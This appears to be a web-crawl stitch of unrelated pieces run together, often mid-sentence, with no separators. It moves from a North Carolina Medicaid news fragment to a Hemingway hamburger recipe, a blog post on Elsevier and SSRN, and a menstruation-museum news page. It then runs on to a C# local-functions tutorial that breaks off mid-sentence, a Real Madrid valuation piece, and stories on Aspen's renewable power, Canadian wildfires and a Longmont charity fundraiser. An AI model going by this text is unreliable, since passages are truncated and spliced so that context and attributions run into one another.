According to the News & Observer‘s Under the Dome blog, Wos “did not address why the responses were being kept secret, or why the development of health policy contained elements of danger.”
Earlier this month, Republican North Carolina Gov. Pat McCrory proposed a sweeping overhaul of the state’s Medicaid system, including shifting costs and care to private entities. But the plan has raised questions about which businesses would be targeted by the reforms and what would happen to the nonprofits that already coordinate services.
Watch this video from WRAL via The Progressive Pulse, uploaded April 5, 2013.
(h/t: The Progressive Pulse)Ernest Hemingway always knew the right thing to write, drink, and eat. And now, the JFK Presidential Library and Museum has dropped a recipe for a delicious burger by Papa himself. Versions of this recipe have popped up before, actually, but this document has Hemingway's later editing marks on it, complete with characteristic additions like "Wild West" to the name. It also comes accompanied by a swath of other documents including a confiscation notice for his unregistered rifles that also congratulates him on winning the Nobel Prize the same year.
This may be the finest short argument against eating a fast-food burger written before fast food was really a thing:
From Experimenting, Papa's Favorite Wild West Hamburger
There is no reason why a fried hamburger has to turn out gray, greasy, paper-thin and tasteless. You can add all sorts of goodies and flavors to the ground beef -- minced mushrooms, cocktail sauce, minced garlic and onion, ground almonds, a big dollop of Piccalilli, or whatever your eye lights on. Papa prefers this combination.
Ingredients
1lb. ground lean beef
2 cloves, minced garlic
2 little green onions, finely chopped
parsley [sic]
1 heaping teaspoon, India relish
2 tablespoons, capers
1 heaping teaspoon, Spice Islands Sage [sic]
1/2 teaspoon Spice Islands Beau Monde Seasoning
1/2 teaspoon Spice Islands Mei Yen Pepper**
salt and pepper
1 egg, beaten in a cup with a fork
About 1/3 cup dry red or white wine
1 tablespoon cooking oil
What to do
Break up the meat with a fork and scatter the garlic, onion and dry seasonings over it, then mix them into the meat with a fork or your fingers. Let the bowl of meat sit out of the icebox for ten or fifteen minutes while you set the table and make the salad. Add the relish, capers, everything else including wine and let the meat sit, quietly marinating, for another ten minutes if possible.
Now make four fat, juicy patties with your hands. The patties should be an inch thick, and soft in texture but not runny. Have the oil in your frying pan hot but not smoking when you drop the patties and then turn the heat down and fry the burgers about four minutes. Take the pan off the burner and turn the heat high again. Flip the burgers over, put the pan back on the hot fire, then after one minute, turn the heat down again and cook another three minutes. Both sides of the burgers should be crispy brown and the middle pink and juicy.
*Spice Islands has discontinued this product, but Cheryl Lu-Lien Tan at The Paris Review showed us how to recreate it:
• 9 parts salt
• 9 parts sugar
• 2 parts MSG
If a recipe calls for 1 teaspoon Mei Yen Powder, use 2/3 tsp of the dry recipe (above) mixed with 1/8 tsp of soy sauce.Elsevier’s increasing control over scholarly infrastructure, and how funders should fix this May 22, 2016
In a recent blog-post, Kevin Smith tells it like it is: legacy publishers are tightening their grip in an attempt to control scholarly communications. “The same five or six major publishers who dominate the market for scholarly journals are engaged in a race to capture the terms of and platforms for scholarly sharing”, says Smith. “This is a serious threat to academic freedom.”
People can legitimately have different ideas about precisely what it is that Elsevier intends to do with SSRN, now that it’s acquired it. But as we discuss the possible outcomes, we need to keep one principle in mind: it’s simply unrealistic to imagine that Elsevier, in controlling Mendeley and SSRN, will do anything other than what is best for Elsevier.
That’s not a criticism, or even a complaint. It’s a statement of what a for-profit corporation does. It’s in its nature. There’s no need for us to blame Elsevier for this, any more than we blame a fox when it eats a chicken. That’s what it does.
The appropriate response is simply to prevent any more of this kind of thing happening, by taking control of our own scholarly infrastructure.
The big problem with SSRN is the same as the big problem of Mendeley: being privately owned and for-profit, their owners were always going to be susceptible to a good enough offer. People starting private companies are looking to make money from them, and a corporation that comes along with a big offer is a difficult exit strategy to resist. When we entrusted preprints to SSRN, they were always vulnerable to being taken hostage, in a way that arXiv preprints are not.
Again: I am not blaming private companies’ owners for this. It’s in the nature of what a private company is. I recognise that and accept it. |
(see also Art of Menopause by Coni Menecci)
.........................................................................
Words and expressions for menstruation:
U.S.A.: Four-day fun time
...............................................................
So, one Puritan man says to another,
"Um, the custom of women...."
You get ONE guess as to what he's talking about.
Tick, tock, tick, tock.... BZZZZ!
RIGHT! Your prize is the chance to buy - sorry,
I can't afford to give you one free and anyway it hasn't appeared yet -
Renaissance scholar Dr Sara Read's NEW BOOK
Menstruation and the Female Body in Early Modern England
(order U.S.A. )
But I can offer you
...................................................... (order UK But Ioffer you FREE teasers from Dr Read about how people discussed menstruation in that era!......................................................
Speaking of which,
A comment (from "celia," now mostly deleted) to a Gail Collins New York Times column produces this addition to
Words and expressions for menstruation:
Charlies [for tampons]
Isn't it strange that in a column devoted to Mr. Wiener's ween-, er, penis, er, whatever, the paper should delete this more useful mention of a synonym for tampons based on Prince Charles's wish that he wanted to be his mistress's tampon? (See more humor.)
Curious too that the length of the noses of both men resemble the objects they're associated with. Just sayin'.
.......................................................
Lynn Dunning updates her
Polycystic Ovarian Syndrome
article
........................................................
Advertising Age writes about the criticism of Tassette menstrual cup's huge billboard in Times Square, 1961.
..............................................
An Australian contribution to
Would you stop menstruating if you could?
...................................................................
"Mammals Can 'Choose' Sex of Offspring, Study Finds"
Read the ScienceDaily article.
.................................................................................
"Delayed Puberty: First Estrogen Receptor Mutation Found in a Young Woman"
Read the ScienceDaily article.
..........................................................................................
In a (supposedly genuine) Russian Tampax ad a shark...
well, see for yourself.
THEN read what your MUM has to
say at the BOTTOM of this page.
I thank the Russian artist Vladislav Shabalin,
who sent the link!
...............................................................................................
Germany's ancient pad recruits a new user.
Ad for Camelia, 1990s
.............................................................................................
Forgot your tampon? Find a panda!
An interesting e-mailer sent the following:
I'm a bookworm and a history lover, and came across your website in the
past while researching historical products/methods used for menstruation.
This was quite some time ago, but today I was researching China, and it's
relationship to Giant Pandas of all things, when I came across a blip that
said women in ancient China may have used Panda pelts as a sort of sanitary
napkin.
I tried to skim through the site to see if you'd mentioned this anywhere,
but so far haven't seen it mentioned, so I thought I'd email you the info I
found.
The statement read:
"The few known uses include the Szechuan tribal peoples' use of panda
urine to melt accidentally swallowed needles, and the use of panda pelts to
control menses as described in the Qin Dynasty encyclopedia Erya."
And was cited as sourced from the book The Last Panda, by George B.
Schaller; ISBN 0226736296, 9780226736297. It was cited as being on page 61,
but as I don't know what edition they are referring to, it might not be
exact.
Anyhow, I just thought it might be of some interest to you.
.............................................................................................................
"Menopause May Be an Unintended Outcome of Men's Preference for Younger Mates"
"Over time, human males have shown a preference for younger women in selecting mates, stacking the Darwinian deck against continued fertility in older women, the researchers have found." Read the article from McMaster University in ScienceNews.
..........................................................................................
"Accounts director tells menstruating human
resources manager to
'fast while the sun is up and refrain from cooking,
worship, and work-related email,'" according to The Onion.
Wait, The Onion made this up??
Not everything!
.........................................................................................
White, finally!
Ad for Australian Kotex belt, 1956
..............................................................
Emmanuel Sala invites you to an
EXHIBITION
in Arles, France, 1-21 July, noon to 8.
l'atelier cinq, 5 rue Augustin Tardieu
"Our blood collective
This is our blood
introduces reflection about blood's confiscation,
which is generally made by medicine, power or religion. "We propose an exhibition of photos, marks on
canvas, installations, evoking alternately, life's mystery, menstruation and
death penalty's abolition. This exhibition is open to the entire public."
www.emmanuelsala.com (in French)
www.thisisourblood.com (in English)
http://www.myriambegue.com/ (in French)
http://www.gillesmagninphotographie.com/ (in French)
(See also the Art of Menstruation in MUM and
some ancient art of menstruation)
..........................................
Surprise inside for a woman who bought a box of tampons in Salt lake City, U.S.A.: cocaine!
Read the fascinating story and a short history of the medical use of tampons (and cocaine) to treat women's health problems.
In addition, the famous Johns Hopkins surgeon William Halsted became addicted to cocaine while testing it on himself as a local anesthetic. He substituted morphine to try to break his addiction but then became addicted to it. These drugs were not then illegal for general use in America (late 19th, early 20th century).
Many know him as the creator of the radical mastectomy and the doctor who introduced rubber gloves to surgery.
I thank MUM friend Melissa Terras, DPhil,
Director, University College London Centre for Digital Humanities.
...................................................................
So what's so funny? Menstruation?
Tampona ad, Germany, 1989
....................................................................................................
"Hormone Levels May Provide Key to Understanding Psychological Disorders in Women"
— Women at a particular stage in their monthly menstrual cycle may be more vulnerable to some of the psychological side-effects associated with stressful experiences, according to a study from UCL."
.......................................................................................
A stock-trade article on the trials and tribulations but hopes for the Tassette menstrual cup, 1969.
...........................................................................................
"A POSITIVE CURE FOR
All Female Diseases" that
" works like a charm "
Orange Blossom patent medicine booklet, 1885
...............................
" Women Altering Menstruation Cycles in Large Numbers "
(news from the University of Oregon, U.S.A., via ScienceDaily.com)
Excerpt:
"In a survey of undergraduate and graduate students, 17 percent reported altering their scheduled bleeding pattern by deviating from the instructions of hormonal contraceptives, which include birth-control pills, vaginal contraceptive rings and transdermal contraceptive patches. "Half of these women reported that they did so for convenience or scheduling purposes. Others cited personal preference (28.9 percent) or reducing menstrual symptoms (16.7 percent) as reasons they altered menstruation patterns.
"Among the women who delayed or skipped a scheduled bleeding for convenience or personal choice, a comparatively large number -- 53 percent -- indicated the knowledge was obtained from nonmedical sources, such as a family member or friend, researchers said." Read the whole article.
Would you stop menstruating if you could?
.......................................................................................................
More words and expressions for menstruation from around the world:
England:
Manchester United are playing at home
Trooping the colour
U.S.A.:
Out of practice
Lailah's kicking me
.....................................................................
A contribution to
Would you stop menstruating if you could?
...................................................................
Olympic gymnast Cathy Rigby, late in her Stayfree maxi-pad career, in a 1983 ad.
....................................................
A bird dipping into menstrual blood? Blue menstrual blood?
Ad for Silhouettes, Germany, 1988.
...........................................................................................
Now let me see your wallet.
Pe-ru-na conquers America, then America conquers Pe-ru-na.
Dr. Hartman's
Lectures on Chronic Catarrh booklet, about 1895
.............................................................
A new store, The Period Store!
The co-owner writes,
"Our business and our blog,
The Periodical http://theperiodstore.com/blog, is all about menstruation in culture, art, literature, business, and
humor. We send women their monthly supplies along with gourmet sweets and art from contemporary artists that change every month."
..............................................................
That's a tampon??
You got rhythm?
Then Menstro-Rhythm and Testamp are, er, were for you!
.........................................................................................
TALK to each other, mothers and daughters!
Kotex ad right before World War II.
...................................................
Dr. Sara Read recommends Prof. Helen King's
blog post The History of Menstruation.
...................................................
Joke time!
....................................................
Kotex wraps individual pads, 1966
..........................................................................
Two short articles about 17th century England by Dr. Sara Read:
"John Freind, the number 7, and why women have periods"
........................................................
An e-mailer comments on my article about underwear
.........................................................
A new edition of a girl's Kotex booklet,
As one [sic] Girl to Another!
Um, well, when 1943 was new, anyway.
.........................................................................
A contribution from Spain to
Would you stop menstruating if you could?
.........................................
How they used to talk around contraception!
Booklet Marriage Hygiene, 1942
..............................
Dr Sarah Read (4 items right below) adds two of her articles to the Bibliography of menstruation
............................................................................
A dying brand tells the truth
Meds tampon ad, 1969
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A company makes a Scensible addition to pad disposal bags
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Addition to
Words and expressions for menstruation:
U.S.A.:
Fred, Sally
......................................
Read the interesting summary of menstrual beliefs and practices in today's India and efforts to improve them in the New York Times.
See pictures on MUM (this site) of the cow shed mentioned in the Times story and a doll used to teach girls about menstruation as well as how to make their own cloth pads.
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Did many women intentionally menstruate into their clothing in 17th-century Britain?
Dr Sara Read of Loughborough University (U.K.) writes (pdf in large gray box) that
many might have considered that normal. She kindly sent me her article, which also discusses the origins of the menstrual taboo and other fascinating cultural details, including religious.
And I believe that many - most? - women of later eras might have also done so.
A reader responded with this:
"Hi, Just read your article about menstruating and devices used when menstruating in earlier times. My mother was from England and i know that going back to her great grandmothers they made pads with cotton or wool in them to absorb the blood. They attached them to their underwear with safety pins or straight pins that they blunted and bent under. She showed me a couple that she had saved when i started. They would boil them clean."
............................................................................................
A contribution from Russia to
Would you stop menstruating if you could?
......................................................................
What do Betty Kay and the Mad Hatter have in common?
Huh, who's Betty Kay?
.....................................................................
Menstrual Veil
The Penn Museum, of the University of Pennsylvania, has something called a menstrual veil from the Naskapi culture in Labrador, Canada, collected in 1933.
Its description on the museum's Web site says "Hide, fringed, and painted with red, blue, and white pigment. Ties are sewn on at eitehr [sic] end. Note on tag accompanying object, perhaps typed by Pennypacker: 'New style Menstruation vale [sic]. The vale is not worn after its first use. Worn during her first period. Collected by F.G. Speck 1933...' "
No picture.
...........................................................................
Oh, no, Mom! Modess for Christmas AGAIN?
Ad, probably 1950s, U.S.A.
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Yet MORE additions to
Words and expressions for menstruation:
U.S.A.:
Antietam, [the] Badger is angry
.....................................................
Additions to
Words and expressions for menstruation,
USA (I had earlier mistakenly ascribed these to the U. K.):
Aunt Irma, courses, inauguration, and icky (the last from the contributor's husband)
.....................................
USA (I had earlier mistakenly ascribed these to the UK.):, and(the last from the contributor's husband).....................................
Comparing the Endometrium and the Breasts, or,
The Breasts Don't Menstruate!!!
by
Dr. Nelson Soucasaux, Brazilian gynecologist
............................................................................
PANIC!
Modess ad, June 1935
..................................................
Pads as big as pillows? Not Always!
Ad, 1991.
...............................................................................................
Modess battles Kotex!
2 Modess ads, 1937 & 1971
..........................................................
OLD JOKE about women' being able to do amazing things
during their periods IF they use a certain tampon
or pad is now a NEW JOKE but still old.
Scroll way down this page for the many old versions.
.......................................................................
A folder for the early American
menstrual cup Tassette, probably early 1950s
......................................................................................
Kotex stuck with it:
Ad for the Kotex stick tampon, 1973,
right before the Arab oil embargo
...................................................................................
The perfect Kotex hostess
Ad, June 1962
......................................................
Two contributions to
Would you stop menstruating if you could?
..............................................................................................
Oh, those nutty ads for pads!
Always, Norway, probably 1990s
.............................................................
She won the 1994 Always pads/Sassy ad contest!!
Um, she did??
...............................................................
See a German tampon that absorbs your flow and claims to buzz
away menstrual pain. The company writes that tests indicate it is at least as effective as ibuprofen.
Vipon (its Web site, in German)
..............................................................................
Beautiful French Kotex ad, part
of a trend, 1994
..................................................................................
You'll laugh! You'll cry!
Read Gail Collins's
The Sexual Spirit of '76
in today's (23 August) New York Times.
I'm about to read Sinclair Lewis's Main Street
partly in response to the column.
.........................................................
"When I was young, about 13, we were not allowed to use tampons as my parents felt we were too young to use them when we first got our periods. My first experience... " (continued)
................................................................................
Addition to
Words and expressions for menstruation:
U.S.A.: Scarlet fever
.................................................................
Haiku about menstruation from an anonymous contributor
....................................................................................................................
Is menstruation a laughing matter?
Ads for Tampons tampons and Kotex maxi pads.
............................................................
What do you think about toxic shock syndrome (TSS)?
Sharra Vostral, Ph.D., associate professor of gender and women's studies and history at University of Illinois Urbana-Champaign,
wants your opinion at
https://www.surveymonkey.com/s/toxicshock
Dr. Vostral visited MUM when it was a REAL museum in my house in the 1990s. TSS, of course, got huge publicity when Rely and some other menstrual products caused some women to lose their lives and limbs. The industry afterwards eliminated questionable materials and changed standards for use. TSS was and is not limited to these products or to women.
................................................................................
Uh, oh! Can Kotex solve this problem?
Like, did a man start this museum?
Kotex ad, October 1953
........................................................
Famous Edward Steichen contributes to
1932 Kotex ad
................................................................
Art of Menstruation
Additions to Dr. Nelson Soucasaux's art
...........................................................
"Study Says Meeting Contraception Needs Could Cut Maternal Deaths by a Third [in the World]"
Read the New York Times story.
See Little Doozee, an old contraceptive douche.
.....................................................................
Two Kotex travel ads from 1922
.....................................................................
Artist Peter Max influences an ad for
Pursettes, the tampon with a lubricated tip and no applicator, 1976
.................................................................................................
India's "Right to Pee" campaign
Men pee for free in public toilets but women have to pay.
Read the gruesome New York Times story. BTW, except temporary ones for parades and the like,
as far as I know Washington, D.C., which I live near, has no public toilets except in restaurants, museums, etc., typical for America.
......................................................................................................................
A kit to explain menstruation to visually impaired girls in India:
Kahani Her Mahine Ki...
by Sadhvi Thukral
...................................................................................................
Regarding
“ Just Love: a Framework for Christian Sexual Ethics,” by Sister Margaret Farley, the book the Vatican criticizes for its openness to masturbation, homosexuality and other practices,
consider this article about a discovery, published on a Norwegian science site in 2010 (I followed the recent link in a Danish newspaper, Berlingske):
"Swedish Stone Age Dildo?," my translation of
"Svensk steinalderdildo?" Read the article (in Norwegian but
with an amazing photo.)
...................................................................................................
"The Most Effective Form of Birth Control"
Read the New York Times story.
........................................................................
Get rid of vaginal odor (and sperm) with Lysol! Ad, 1928
"Now I know...!
..............................................................
Sweden:
Amerikafrämmat, Det månatliga, Grejjerna, Jag har mens, Jag kan inte bada, Lignonvecka
(and read how pad use in her family changed through the generations under Jag har mens )
USA:
Regular
........................................................
Turkey not only imitated Tampax tampons but
also American movies like The Wizard of Oz
as a great Spiegel online series of movie posters shows.
.......................................................
"Early Menopause Linked to Bone Fracture Risk"
Read the New York Tiimes story.
..............................................................................................
Ads for Assure panty liners, 1980s
.........................................................................................
Evidence in a Mexican village that
(Scroll down to: Some e-mail supporting the idea that women used nothing, and other topics:
In a Mexican village some women did not use anything to absorb menstrual discharge.(Scroll down to:
.........................................
3 ads for Sears menstrual pad belts, late 19th century
......................................................................
New book on menopause and mid-life
The Tao of Turning Fifty: What Every Woman in Her Forties Needs to Know.
The author writes,
"There's a free excerpt on my website, also new. And my next project will be for young women."
See some of her poems on the MUM poetry link page.
www.jenniferboire.com
.................................................................................................................
Right before the Mad Men decade the booze flows
in this Kotex ad.
..............................................................................................................
From Maureen Dowd's column in the New York Times, 18 March 2012:
"Mormon feminists got upset this winter when they found that young women in some temples had not been allowed to do proxy baptisms while they were menstruating."
......................................................................
"'Brain Fog' of Menopause Confirmed"
Read the story in ScienceDaily
.........................................................................
Women develop menstrual cup for Kenya
and later the world, win top prize
3 Danish students at the Copenhagen Business School
won the grand prize of the
Global Social Entrepreneurship Competition
of the University of Washington.
(Announcement, story in a Danish newspaper site
and Ruby Cup site.)
The newspaper story recounts how Kenyan women who can't afford pads use mud, bark or a piece of cloth. They've had
little or no information about menstruation
from their mothers or other sources; sounds like stories I
heard in the museum from Americans. Many miss school or work, lacking adequate protection. The cup will cost from $6-9 and last 10 years. The students are
Maxie Matthiessen, Julie Weigaard Kjær og Veronica D´Souza.
See 2 similar stories about pads in
India (here and here).
See some older cups.
........................................................................................
An e-mailer writes about Jewish menstrual practices.
......................................................................................
Busy, rich illustrator Jon Whitcomb paints Kotex ad, 1958
E-mail to MUM:
Hi.
Just wanted to let you know that we've launched a drive to collect tote bags with tampons/pads
to help women at the food pantries. More details
here. http://tote4pgh.com/special-drives/sister-supplies/
Thank you, Sue
--
*The Pittsburgh Tote Bag Project*
*"Helping our neighbors and our environment, one tote bag at a time."
"Be a giggle"
Fun-loving Kotex cartwheels for
Soft Impressions menstrual pads, 1972
.......................................................................
"Scientists Use Stem Cells to Generate Human Eggs"
(New York Times story)
"The advance, if confirmed, might provide a new source of eggs for treating infertility, though scientists say it is far too early to tell if the work holds such promise. "
Aunt Flo humor
Additions to
Words and expressions for menstruation:
India: Chums, MC, M Seal, ST
Sears advertises 2 defunct tampons and the
remaining champion, Tampax, in its
late 1930s-early 1940s catalog.
.................................................................................................................
From the Tampax donation:
Ad for Pursettes lubricated tampon,
November 1965
...........................................................
Abortion through the mail :
Four 1933 American ads for (illegal) birth control
..............................................................................................
An emailer writes about her useful mini pads:
"In 1992 when I was in basic training with the US Navy. We had to do drills with fake rifles. Most of us women did not have a lot of muscle and padding on our shoulders to carry the fake rifles. So we used stick-on mini pads on our shoulders. It is funny that a someone with a man's name is mantaining [a clever slip of the finger] the site. Got a link to it from wisewomenhood.com"
[This is your MUM, the man just mentioned: Years ago, when I developed a painful hand while working as a graphic designer, I wrapped panty pads around my pencils to enable my hand to better grasp them and reduce the pain. A woman co-worker asked me, "What's THAT?!" It confirmed her view that artists were, well, wacky. And a few years later I started this museum in my house. Point well taken!]
...................................................................................................
"A smaller dose of the'morning after' birth control pill may help to control fibroids in the uterus as well. That's the conclusion of two new studies. They were done in Europe, where the pill is awaiting approval. Fibroids are growths that can cause heavy bleeding, pain and fertility problems."
Read the whole article from Harvard Medical School.
...........................................................................
See Gregory Scaff's menstrual art at the MOCADC
gallery (http://www.mocadc.org) in Washington, D.C. Reception at 6 pm, Friday, 3 February 2012.
More Art of menstruation (and ancient art of menstruation ).
..........................................................
How is a menstrual pad like a grapefruit?
Find out in 3 ads for the defunct
Modess pad, 1970s.
An addition to
Words and expressions for menstruation:
U.S.A.: Full stop
............................................................
Your MUM curator puts his 2 cents into an article,
Perspective: The Lady Problem, on ADWEEK
.................................................................................
A Kotex lamp chases shadows of doubt,
even today.
..................................................................
Womanstruation? Of course!
...................................................
"Females May Be More Susceptible to Infection During Ovulation"
Read the story.
A Canadian menstrual pad holder and pad
from the 1930s-40s
...................................................................................................
Now that I don't have to worry about Google's retaliation - it's already booted your MUM and me out of its AdSense program for featuring menstruation and its naughty facts and words in all their g[l]ory and is putting me on the street -
read Sandra Tsing Loh's
"The Bitch is Back" in The Atlantic magazine online.
It's about how menopause makes women normal, just as angry and lazy, etc., as men. Like me. The woman can write.
"The Biology Behind Severe PMS"
Read the story on ScienceDaily
Man in India goes through (somewhat) what women do,
invents cheap menstrual pad.
See some other solutions for India here and here.
1850s American menstrual pad & belt
.......................................................................
"The Little Red Book About Having Your Period"
("HET RODE BOEKJE OVER ONGESTELD ZIJN")
By Renate van der Bas
I translate a chapter from the just published Dutch book.
Google just declared this site "adult,"not something a family could look at together and not be embarrassed and withdrew the ads it had placed here for 8 years up to December 2011.
So, I need permission slips from Google employees' mothers before these employees peek at this site.
NO FAKE SIGNATURES OR I'LL SEND YOU TO THE PRINCIPAL'S OFFICE!!C# 7 has introduced a number of features which you can explore HERE; In this article we are going to take a look at Local Functions and why you may want to use them.
What are they?
Local Functions enable the definition of functions inside other functions. You can think of them as helper functions that would only make sense within a given context. Such context could be a function, constructor or a property getter or setter. They are transformed by the compiler to private methods meaning there is no overhead in calling them.
The main goal of Local Functions is encapsulation so the compiler is enforcing that such functions cannot be called from anywhere else in the class. Consider the following overly simplified example:
public string Address { get { return $@"{GetHouseNumber()}, {GetStreet()}, {GetCity()}, {GetCountry()}"; int GetHouseNumber() => 10; string GetStreet() => "Liberty St"; string GetCity() => "Amsterdam"; string GetCountry() => "Jamaica"; } }
Here we have a getter property which is composing an address comprised of 4 different segments. Each segment is being retrieved via a separate method, we are also taking advantage of the Expression Bodied and String Interpolation syntax introduced as part of C# 6 to keep our property clear and condensed.
Had we declared those methods as private, they could be invoked by any member in the class so by using Local Functions we have encapsulated their usage.
But we could do this with Lambdas, no?
Yes, if you ignore the constraint forcing us to declare our Lambdas before using them, you could technically achieve the same result:
public string Address { get { Func<int> getHouseNumber = () => 10; Func<string> getStreet = () => "Liberty St"; Func<string> getCity = () => "Amsterdam"; Func<string> getCountry = () => "Jamaica"; return $@"{getHouseNumber()}, {getStreet()}, {getCity()}, {getCountry()}"; } }
BUT, doing so is not such a good idea for the following reasons:
Allocation, By declaring those Lambdas you are essentially allocating objects for the delegates on the heap so if your property is being invoked many times then you will end up putting non trivial unnecessary pressure on the GC.
No support for ref, out, params or Optional Parameters
Doesn't like Recursion, in order to be able to call a Lambda recursively you would need to declare it in 2 steps which does not seem elegant to me:
private uint GetFactorial(uint number) { var factorial = default(Func<uint, uint>); factorial = n => { if (n < 2) { return 1; } return n * factorial(n - 1); }; return factorial(number); }
Limitations
Local Functions can be generic, asynchronous, dynamic and they can even have access to variables accessible in their enclosing scope however despite their flexibility they come with the following limitations:
Cannot be static, you cannot declare a Local Function as static.
No Attributes allowed, Unlike normal methods you cannot use attributes inside a Local Function. This means you cannot use Caller Information so the following example does not compile:Real Madrid is now worth $3.4 billion, according to my math, $100 million more than we valued the Spanish soccer team in April. The boost in RM's value secures its spot as the most valuable sports team in the world for now, although Manchester United are right behind them. The publicly traded English soccer team had an enterprise value of $3.3 billion yesterday.
The financial results announced by RM yesterday for fiscal 2012-13 show revenue increasing 5.5%, to $686 million. RM and Spanish rival Barcelona are the only sports teams that generates over $600 million in annual revenue, both having done so each of the past three years. RM's operating income (earnings before interest, taxes, depreciation and amortization, and the disposal of non-current assets like players) increased 2.3%, to $174 million (in Euros, revenues went up 1.3% and operating income fell 1.5%). RM's balance sheet also became stronger over the past year, with the team's debt-operating income ratio falling to 0.6 from 0.8.
Nipping on RM's heels are Manchester United, which has yet to post its 2012-13 full-year results. But in the third quarter the English soccer team posted stellar results, with record revenue of $143 million and operating income of $39 million. For the full year, Manchester United believes revenue will be around $554 million and operating income will come in at roughly $168 million. If the Red Devils do indeed finish the year with those results, RM will still maintain its slight valuation lead over the English team.
But surprises can always emerge from the lucrative Champions League tournament, where payouts to teams generally depend depending on performance. Last season, Manchester United and Real Madrid had disappointing tournaments, as Bayern Munich captured the Champions League by knocking off German rival Borussia Dortmund 2-1 in the final.Three is a magic number, and Aspen, Colorado has hit that enchanted numeral by becoming the third city in the U.S. to power itself with 100 percent renewable energy. Aspen Times reports that the city has reached the milestone after more than a decade of work, by employing wind, solar and geothermal energy. Its efforts put the Rocky Mountain hub in a very exclusive renewable energy club, along with Burlington, Vermont and Greensburg, Kansas.
“It was a very forward-thinking goal and a truly remarkable achievement,” says Aspen’s Director of Utilities and Environmental Initiatives, David Hornbacher. “This means we are powered by the forces of nature, predominantly water and wind with a touch of solar and landfill gas.”
Related: New artificial leaf technology could revolutionize renewable energy production
The city’s clean energy transition became official on Thursday last week when the city signed an agreement with Municipal Energy Agency of Nebraska – which replaced the remaining 20 to 25 percent of its energy needs it was previously getting from coal.
“We’ve demonstrated that it’s possible,” and that a small, progressive community can work together to be a pathway for others, Hornbacher told the Aspen Times. “Realistically, we hope we can inspire others to achieve these higher goals.”
Georgetown, Texas is expected to be fully powered by renewable energy as of 2017, and according to the Environmental and Energy Study Institute, others have committed, including: San Diego and San Jose, California.
Via Aspen Times
Images via Shutterstock (1, 2)Nearly a year after the massive wildfire that devastated Fort McMurray, Alta., a climate scientist says there may be more forest fires in Canada this summer.
“If the forecast’s right that it’s a warmer than normal summer, we’ll probably have more fires,” says Mike Flannigan, a meteorologist and professor in the University of Alberta’s renewable resources department.
Flannigan says there are about 7,000 forest fires a year in Canada on average — but that number can vary dramatically depending on the weather. Warm temperatures mean a longer fire season, and more susceptible conditions.
READ MORE: Alberta to boost spending on program to help protect communities from wildfires
Forest fires are usually triggered either by lightning or by human activity. But Flannigan says there’s an increased risk of both kinds of fires in warmer weather, particularly in climates that are also dry and windy.
A warm summer also means a longer fire season, he says. Fire damage is typically worst in mid-summer, with July as the most dangerous month.
However perhaps the worst wildfire in Canadian history, the Fort McMurray blaze that forced the evacuation of all residents in the area for weeks and caused massive damage to the city, started in May of 2016.
WATCH ABOVE: The Fort McMurray wildfire forced more than 80,000 people from their homes as it has grown to 101,000 hectares in size. Here’s a look back at how the first chaotic days unfolded.
There are concrete steps people can take to eliminate the risk of fires, Flannigan says. It’s important to be thorough when extinguishing campfires. “Fires can smolder for long periods of time and burn underground if conditions are right,” he said. “You think you just dump one bucket of water on it, and you’re done? It takes more effort than you sometimes think.” He also advises following all fire bans.
READ MORE: Fort McMurray wildfire highlights rise of worker location tracking
The state of Canada’s ecology and the reality of a changing climate means forest fires will always be something we must contend with, Flannigan said.
“There will be fire on the landscape. We do things to minimize the risk, but we never can eliminate it.”If you go What: Hops and Handrails Beer Fest and Rail Jam When: 2 to 7 p.m. Saturday, March 23 Where: Left Hand Brewing Company Contact: lefthandbrewing.com
LONGMONT -- One mortgage payment was all it took to pull the McClure family out of what they call their dark days in 2010 when financial uncertainty left them hopeless.
Advertisement
Erie resident Carey McClure said her family's 10-year home was on the brink of foreclosure after her husband was laid off and unexpected medical bills began pilling up.
"Our bills had increased by 75 percent, and even though my husband was working three jobs, our income was cut by 50 percent," McClure said. "I worked for Habitat for Humanity for years so I was always the person helping but, all of a sudden, we became the people in need."
Carey McClure looks through boxes of door handles while shopping for items for her home Wednesday at the Habitat ReStore in Longmont. ( Matthew Jonas )
Things started looking up after McClure received a surprising call from the bank informing her that the family's mortgage was paid in full courtesy of the Longmont-based non-profit, A Woman's Work.
"In that one mortgage payment, Women's Work gave me the hope and the spirit and humanity in a time when I was pretty discouraged," McClure said. "They saved my home but they also saved me and my family."
McClure is hoping to share her story and raise awareness about A Woman's Work at a fundraiser hosted by Left Hand Brewing Company on Saturday.
Hops and Handrails
Joshua Goldberg, events and community coordinator for Left Hand, said giving back to the community has been part of the company's culture since its opening 20 years ago. But Saturday the company is taking its fundraising efforts to new heights -- three stories high to be exact.
A three-story ski ramp covered in truckloads of snow will be the featured attraction at the brewery's inaugural Hops and Handrails Beer Fest and Rail Jam, Goldberg said.
The event will include a ski and snowboard competition featuring Colorado college students, a kid zone featuring a beginner slope and gear and a beer tasting including libations from 23 Colorado breweries.
The proceeds from Saturday's event will be divided evenly among A Woman's Work, The Colorado Brewers Guild and SOS Outreach, a program that encourages at-risk youth to stay in school through outdoor sports.
Goldberg said the charities represent the focus on community, snow sports and, of course, craft beer.
"We wanted to bring the best of Colorado to Longmont, so we have craft beer and snowboarding," Goldberg said. "We wanted to make this as fun as possible for the community in order to bring people together and hopefully increase our contributions."
Goldberg said they're hoping to raise at least $9,000, giving each charity $3,000.
Snowboarding to success
Joey Vergara, 19, was a high school freshman when he was offered an opportunity to snowboard for free once a month. But there was one catch: He had to stay in school and improve his grades.
Vergara said he was never a strong student, making mostly Cs in his classes and barely getting by. It was lure of snowboarding and the support of mentors from SOS Outreach that pushed him to succeed.
"I likely would have dropped out of high school if it wasn't for SOS," Vergara said. "But I enjoyed snowboarding so it motivated me to get my grades up so I could keep going."
Six years later, Vergara is attending Metro State University of Denver and is a junior mentor for SOS.
Pay it forward
Volunteers from all of the organizations will be at Saturday's winter fest fundraiser in Longmont, and for McClure it is about helping the charity that changed her life.
"My family chooses to volunteer because we know the impact that financial and other support can make," McClure said. "After all, we're still in our home today thanks to the help of the community."
In the last three years, McClure and her husband, who is now employed full-time, have spent much of their time preparing their three daughters for college.
McClure was inspired by watching her daughters succeed despite the family's tough times and founded the non-profit Collegiate Crossing in June. The organization helps low-income and first-generation students in Boulder County prepare for college and find financial aid.
Whitney Bryen can be reached at 303-684-5274 or at wbryen@times-call.com.If you live in certain media markets in the country, over the last couple of weeks you may have seen an ad running on cable news channels that features billionaire Tom Steyer making the case that Donald Trump should be impeached. Here it is, in case |
Kushner told The Real Deal in October 2007, a few months after the purchase. “It doesn’t get any better than that.”
